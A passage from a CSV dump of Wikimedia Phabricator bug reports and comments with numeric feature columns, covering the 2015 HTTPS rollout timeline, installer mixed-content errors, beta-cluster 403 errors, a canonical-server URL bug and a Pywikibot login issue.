```",,,1434342012,,PHID-USER-p3bvg5sos3lhe33uou2s,False,,,PHID-TASK-dmyx4wbuj5eotax4ch37,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,27.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5454545454545454,0.6,"Timeline provided bySCREEN_NAME:
Languages:---
The Chinese languages are Chinese (zh) and Uyghur (ug)
The HTTPS-Beta languages are Catalan (ca), Hebrew (he), Greek (el), Italian (it).

Timeline:---
``CODE`CODE`CODE``"
474436,Analysis on traffic through the HTTPS transition,"Timeline provided by @BBlack:
Languages:---
The Chinese languages are Chinese (zh) and Uyghur (ug)
The HTTPS-Beta languages are Catalan (ca), Hebrew (he), Greek (el),
Italian (it).

Timeline:---
2015-06-09 21:23 UTC: transitioned Chinese languages, all projects
2015-06-11 14:00 UTC: transitioned HTTPS-Beta language Wikipedias
2015-06-11 14:30 UTC: transitioned HTTPS-Beta language Mobile Wikipedias
2015-06-12 08:43 UTC: Routing Incident: First evidence (others noticing, not us)
2015-06-12 09:00 UTC: Routing Incident: Level3 fallout in full effect,
many notice
2015-06-12 09:00 UTC: Start transition of English Wikipedia, including Mobile
-- During this 40 minute window for English, we first redirected 10%
of clients, then 50%, then 100%
2015-06-12 09:40 UTC: End transition of English Wikipedia, including Mobile
2015-06-12 10:40 UTC: Routing Incident: Largely resolved, some smaller
trailing effects
2015-06-12 13:00 UTC: Public blog announcement
2015-06-12 13:30 UTC: transitioned All other projects (e.g.
wikiversity, wikibooks, etc) for English + Beta languages
",,,1434341891,,PHID-USER-p3bvg5sos3lhe33uou2s,False,,,PHID-TASK-dmyx4wbuj5eotax4ch37,task_subcomment,,True,c3,2,True,,,-3,True,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,4.666666666666667,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,2.3333333333333335,2.3333333333333335,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,9.333333333333334,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,19.0,0.0,0.6666666666666666,2.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,15.666666666666666,0.0,1.3333333333333333,2.3333333333333335,14.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,3.697674418604651,0.5581395348837209,"Timeline provided bySCREEN_NAME:
Languages:---
The Chinese languages are Chinese (zh) and Uyghur (ug)
The HTTPS-Beta languages are Catalan (ca), Hebrew (he), Greek (el),
Italian (it).

Timeline:---
2015-06-09 21:23 UTC: transitioned Chinese languages, all projects
2015-06-11 14:00 UTC: transitioned HTTPS-Beta language Wikipedias
2015-06-11 14:30 UTC: transitioned HTTPS-Beta language Mobile Wikipedias
2015-06-12 08:43 UTC: Routing Incident: First evidence (others noticing, not us)
2015-06-12 09:00 UTC: Routing Incident: Level3 fallout in full effect,
many notice
2015-06-12 09:00 UTC: Start transition of English Wikipedia, including Mobile
-- During this 40 minute window for English, we first redirected 10%
of clients, then 50%, then 100%
2015-06-12 09:40 UTC: End transition of English Wikipedia, including Mobile
2015-06-12 10:40 UTC: Routing Incident: Largely resolved, some smaller
trailing effects
2015-06-12 13:00 UTC: Public blog announcement
2015-06-12 13:30 UTC: transitioned All other projects (e.g.
wikiversity, wikibooks, etc) for English + Beta languages
"
100146,License picker is broken in installer (stylesheet not allowed by CreativeCommons HTTPS),"The ""https://creativecommons.org/choose/"" iframe is hardcoded as HTTPS. This becomes a problem when a user is installer MediaWiki  on an HTTP server.

Urls like https://creativecommons.org/choose/?partner=MediaWiki&exit_url=http%3A%2F%2F...&stylesheet=http%3A%2F%2Fmediawiki.dev%2Fw%2Fmw-config%2Fconfig-cc.css

Results in the following in Chrome 45:
> Mixed Content: The page at 'https://creativecommons.org/choose/?partner=MediaWiki&exit_url=http%3A%2F%2…t=http%3A%2F%2Fmediawiki%2Fw%2Fmw-config%2Fconfig-cc.css' was loaded over HTTPS, but requested an insecure stylesheet 'http://mediawiki.dev/w/mw-config/config-cc.css'. This request has been blocked; the content must be served over HTTPS.

We should load creativecommons over HTTP instead of HTTPS. Most likely by using a protocol relative url.",Unbreak Now!,100.0,1432460635,1432463756.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-oetk6bbl6omm354ejz3b,False,PHID-TASK-ks7phoocbu4m4rkp4pck,task_description,resolved,True,c3,1,True,False,True,-6,True,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,13.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,3.0,25.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,13.0,8.0,0.0,2.0,0.0,2.0,0.0,2.0,7.0,0.0,2.0,0.0,2.0,0.0,3.9833333333333334,0.8,"The ""URL iframe is hardcoded as HTTPS. This becomes a problem when a user is installer MediaWiki  on an HTTP server.

Urls like URL

Results in the following in Chrome 45:
QUOTE

We should load creativecommons over HTTP instead of HTTPS. Most likely by using a protocol relative url."
462999,License picker is broken in installer (stylesheet not allowed by CreativeCommons HTTPS),WMF-deploy tag doesn't make much sense imho....,,,1432474258,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ks7phoocbu4m4rkp4pck,task_subcomment,,True,c3,1,True,,,-6,True,9.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.727272727272727,1.0,WMF-deploy tag doesn't make much sense imho....
462998,License picker is broken in installer (stylesheet not allowed by CreativeCommons HTTPS),"* https://gerrit.wikimedia.org/r/213226 (branch REL1_25): #mw1.25
* https://gerrit.wikimedia.org/r/213222 (branch master): #mw1.26, #mw1.26wmf8
",,,1432474193,,PHID-USER-n4kveqwjjlpsb6ydn73h,False,,,PHID-TASK-ks7phoocbu4m4rkp4pck,task_subcomment,,True,c3,1,False,,,-6,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,0.6190476190476191,"* GERRIT_URL (branch REL1_25): #mw1.25
* GERRIT_URL (branch master): #mw1.26, #mw1.26wmf8
"
462873,License picker is broken in installer (stylesheet not allowed by CreativeCommons HTTPS),"Change 213226 merged by jenkins-bot:
Installer: use proto-relative URLs for license picker

[[https://gerrit.wikimedia.org/r/213226]]",,,1432462876,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ks7phoocbu4m4rkp4pck,task_subcomment,,True,c3,1,False,,,-6,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.84,0.84,"Change 213226 merged by jenkins-bot:
Installer: use proto-relative URLs for license picker

[[GERRIT_URL]]"
462870,License picker is broken in installer (stylesheet not allowed by CreativeCommons HTTPS),"Change 213226 had a related patch set uploaded (by Chad):
Installer: use proto-relative URLs for license picker

[[https://gerrit.wikimedia.org/r/213226]]
",,,1432462361,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ks7phoocbu4m4rkp4pck,task_subcomment,,True,c3,1,False,,,-6,True,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.7666666666666666,0.9,"Change 213226 had a related patch set uploaded (by Chad):
Installer: use proto-relative URLs for license picker

[[GERRIT_URL]]
"
462869,License picker is broken in installer (stylesheet not allowed by CreativeCommons HTTPS),"Change 213222 merged by jenkins-bot:
Installer: use proto-relative URLs for license picker

[[https://gerrit.wikimedia.org/r/213222]]",,,1432462216,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ks7phoocbu4m4rkp4pck,task_subcomment,,True,c3,1,False,,,-6,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.84,0.84,"Change 213222 merged by jenkins-bot:
Installer: use proto-relative URLs for license picker

[[GERRIT_URL]]"
462865,License picker is broken in installer (stylesheet not allowed by CreativeCommons HTTPS),"Change 213222 had a related patch set uploaded (by Chad):
Installer: use proto-relative URLs for license picker

[[https://gerrit.wikimedia.org/r/213222]]
",,,1432461347,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ks7phoocbu4m4rkp4pck,task_subcomment,,True,c3,1,False,,,-6,True,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.7666666666666666,0.9,"Change 213222 had a related patch set uploaded (by Chad):
Installer: use proto-relative URLs for license picker

[[GERRIT_URL]]
"
98046,All http://bits.beta.wmflabs.org/static/master/* file urls return HTTP 403 Forbidden,"Loading any page on a  beta wiki fills the console up with 403 errors for all kinds of static resources

```
http://bits.beta.wmflabs.org/static/master/extensions/FlaggedRevs/frontend/modules/img/arrow-down.png
Failed to load resource: the server responded with a status of 403 (Forbidden)

http://bits.beta.wmflabs.org/static/master/resources/assets/poweredby_mediawiki_176x62.png
Failed to load resource: the server responded with a status of 403 (Forbidden)

http://bits.beta.wmflabs.org/static/master/extensions/FlaggedRevs/frontend/modules/img/doc-magnify.png
Failed to load resource: the server responded with a status of 403 (Forbidden)

http://bits.beta.wmflabs.org/static/master/resources/assets/poweredby_mediawiki_176x62.png
Failed to load resource: the server responded with a status of 403 (Forbidden)

http://bits.beta.wmflabs.org/static/master/extensions/FlaggedRevs/frontend/modules/img/arrow-down.png
Failed to load resource: the server responded with a status of 403 (Forbidden)

http://bits.beta.wmflabs.org/static/master/extensions/ImageMetrics/resources/non-cors-test.js?_=0.8168604637030512
Failed to load resource: the server responded with a status of 403 (Forbidden)

Main_Page:1
Script from origin 'http://bits.beta.wmflabs.org' has been blocked from loading by Cross-Origin Resource Sharing policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://en.wikipedia.beta.wmflabs.org' is therefore not allowed access. The response had HTTP status code 403.

http://bits.beta.wmflabs.org/static/master/extensions/ImageMetrics/resources/cors-test.js?_=0.15045604505576193
Failed to load resource: the server responded with a status of 403 (Forbidden)
```

Possibly related:
* {T72445}",Unbreak Now!,100.0,1430763781,1430791144.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,PHID-TASK-gp3o5ywmyrftrm3yn5nx,task_description,resolved,True,c3,1,True,False,True,-9,True,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,14.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.388888888888889,0.8888888888888888,"Loading any page on a  beta wiki fills the console up with 403 errors for all kinds of static resources

``CODE``

Possibly related:
* {T72445}"
453753,All http://bits.beta.wmflabs.org/static/master/* file urls return HTTP 403 Forbidden,Fixed (indirectly) in https://gerrit.wikimedia.org/r/#/c/208878/ .,,,1430791125,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-gp3o5ywmyrftrm3yn5nx,task_subcomment,,True,c3,1,True,,,-9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2857142857142856,1.0,Fixed (indirectly) in URL .
453747,All http://bits.beta.wmflabs.org/static/master/* file urls return HTTP 403 Forbidden,"Note this has nothing to do with CORS AFAICT.  Just visiting the file directly or using `curl` results in the same:

```
curl 'http://bits.beta.wmflabs.org/static/master/extensions/EventLogging/modules/ext.eventLogging.core.js'
```",,,1430789933,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-gp3o5ywmyrftrm3yn5nx,task_subcomment,,True,c3,1,True,,,-9,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,20.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.433333333333333,0.8333333333333334,"Note this has nothing to do with CORS AFAICT.  Just visiting the file directly or using CODE results in the same:

``CODE``"
114243,$wgCanonicalServer gets prefixed with http: when using https canonical server name.,"I have an internal wiki using https, mediawiki verison 1.25.2.

The server is hosted on https://my.domain/wiki and there is an apache vhost entry redirecting http to that.

Given the documentation[1] I expect I need to set the following in LocalSettings.php to get emails to contain https:// links.
    $wgServer = '//my.domain';
    $wgCanonicalServer = 'https://my.domain';

However this results in canonical name resolving to http:https://my.domain/wiki/Page_name in emails and also for the magic word: {{canonicalurl:page name}}

We've tried many combinations but the only thing that works for us is:
    $wgServer = '//my.domain';
    $wgCanonicalServer = '//my.domain';

This produces http:// links in emails but the vhost redirects to the real page. This configuration contradicts the documentation wich says ""Server name with protocol"".

I dug around in and there's a scary looking bit of code in wfParseUrl() that prepends http: onto the URL if it think it's protocol relative and strips it later, but I can't spot any means by which it would do that in my case.

I have a working wiki now, but I think there's something wrong here.

[1] https://www.mediawiki.org/wiki/Manual:$wgServerName and https://www.mediawiki.org/wiki/Manual:$wgCanonicalServer
",Needs Triage,90.0,1443622261,1679017836.0,PHID-USER-ihnrfhr6sclvh47vtsio,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-jqyeewqly7u4x3klrndx,task_description,resolved,True,c3,3,False,False,False,12,True,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,3.6666666666666665,0.0,0.0,0.0,0.3333333333333333,3.0,3.0,0.0,0.3333333333333333,1.3333333333333333,3.6666666666666665,0.3333333333333333,2.3333333333333335,8.0,0.3333333333333333,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,1.0,8.0,1.6666666666666667,1.6666666666666667,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,15.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,4.666666666666667,1.0,7.666666666666667,0.3333333333333333,3.3333333333333335,7.333333333333333,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,5.333333333333333,8.0,3.3333333333333335,0.0,3.0,0.0,5.333333333333333,0.0,1.3333333333333333,1.6666666666666667,0.3333333333333333,1.3333333333333333,0.0,0.0,0.6666666666666666,3.905801687763713,0.7015822784810126,"I have an internal wiki using https, mediawiki verison 1.25.2.

The server is hosted on URL and there is an apache vhost entry redirecting http to that.

Given the documentation[1] I expect I need to set the following in LocalSettings.php to get emails to contain https:// links.
    $wgServer = '//my.domain';
    $wgCanonicalServer = 'URL

However this results in canonical name resolving to http:URL in emails and also for the magic word: {{canonicalurl:page name}}

We've tried many combinations but the only thing that works for us is:
    $wgServer = '//my.domain';
    $wgCanonicalServer = '//my.domain';

This produces http:// links in emails but the vhost redirects to the real page. This configuration contradicts the documentation wich says ""Server name with protocol"".

I dug around in and there's a scary looking bit of code in wfParseUrl() that prepends http: onto the URL if it think it's protocol relative and strips it later, but I can't spot any means by which it would do that in my case.

I have a working wiki now, but I think there's something wrong here.

[1] URL and URL
"
2089412,$wgCanonicalServer gets prefixed with http: when using https canonical server name.,"This appears to work correctly on 1.39 and later, at least with the changes of T325529 applied.",,,1679017836,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-jqyeewqly7u4x3klrndx,task_subcomment,,True,c3,3,True,,,402,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,26.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,26.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,4.157894736842105,1.0,"This appears to work correctly on 1.39 and later, at least with the changes of T325529 applied."
113551,Evaluate/fix hardcoded HTTPS only protocols in ApiEdit,"I'm not sure why we're hardcoding HTTPS, not varying based on whether the site is set to HTTPS or not... So this would actually break stuff for sites with no HTTPS...

```
        private string Server
        {
            get { return ""https://"" + new Uri(URL).Host; }
        }

        private string ExpandRelativeUrls(string html)
        {
            // wikilinks
            html = html.Replace(@"" href=""""/wiki/"", @"" href="""""" + Server + @""/wiki/"");

            // relative links (to images, scripts etc.)
            html = html.Replace(@"" href=""""//"", @"" href=""""https://"");
            return html.Replace(@"" src=""""//"", @"" src=""""https://"");
        }
```",Needs Triage,90.0,1443050288,1737893781.0,PHID-USER-6vzzsmi22zem6yttr6vp,False,PHID-USER-n4fae3u5zhz6omceginz,False,PHID-TASK-hlssnwtclpctmsyrbf4k,task_description,declined,True,c3,3,True,False,False,11,True,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,2.0,14.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,14.0,5.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,12.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,3.4761904761904763,0.8095238095238095,"I'm not sure why we're hardcoding HTTPS, not varying based on whether the site is set to HTTPS or not... So this would actually break stuff for sites with no HTTPS...

``CODE``"
2494757,Evaluate/fix hardcoded HTTPS only protocols in ApiEdit,I don't think in 2025 there will be sites running a compatible/modern MediaWiki install and not making HTTPS available.,,,1737893781,,PHID-USER-n4fae3u5zhz6omceginz,False,,,PHID-TASK-hlssnwtclpctmsyrbf4k,task_subcomment,,True,c3,3,True,,,499,True,0.0,0.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,4.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,13.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,4.0,4.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,0.0,4.391304347826087,1.0,I don't think in 2025 there will be sites running a compatible/modern MediaWiki install and not making HTTPS available.
113329,Pywikibot login not working with multiprocessing,"When moving from the threading module to multiprocessing, I noticed [[ https://github.com/jdloft/bot24 | my project ]]'s `clean_sandbox.py` script wouldn't finish executing because of line 104 which is `self.site.login()`. I'm not sure what's different between the multiprocessing module and threading that would make the Pywikibot login script break.
Commit: https://github.com/jdloft/bot24/commit/bbc4fffb47543805296d03d9efe3e4a4f426ce5b (multiprocessing branch)
Main script: https://github.com/jdloft/bot24/blob/multiprocessing/main.py
Clean_sandbox: https://github.com/jdloft/bot24/blob/multiprocessing/scripts/clean_sandbox.py#L104",Needs Triage,90.0,1442889650,1730481780.0,PHID-USER-zcsdm7lwcehnusyhh6xp,False,PHID-USER-xezsyhikbr7hjrig2ofp,False,PHID-TASK-zuzhxn4p47ygmtvnitoq,task_description,declined,True,c3,3,False,False,False,11,True,0.0,0.0,0.0,0.0,3.0,4.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,4.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,18.0,3.0,1.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,4.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,1.0,4.315068493150685,0.6986301369863014,"When moving from the threading module to multiprocessing, I noticed [[ URL | my project ]]'s CODE script wouldn't finish executing because of line 104 which is CODE. I'm not sure what's different between the multiprocessing module and threading that would make the Pywikibot login script break.
Commit: URL (multiprocessing branch)
Main script: URL
Clean_sandbox: URL"
2447159,Pywikibot login not working with multiprocessing,Use [[https://doc.wikimedia.org/pywikibot/master/utilities/scripts_ref.html#module-pywikibot.scripts.login|login script]] first to login in such case.,,,1730481780,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-zuzhxn4p47ygmtvnitoq,task_subcomment,,True,c3,3,True,,,487,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.7857142857142856,0.8571428571428571,Use [[URL script]] first to login in such case.
113259,"VE - External links between [[ ]], with uppercase Http","I've the feeling of seeing more and more cases of external links between double square brackets with an uppercase H for http.

https://fr.wikipedia.org/w/index.php?title=Chuzelles&type=revision&diff=118800735&oldid=114011228
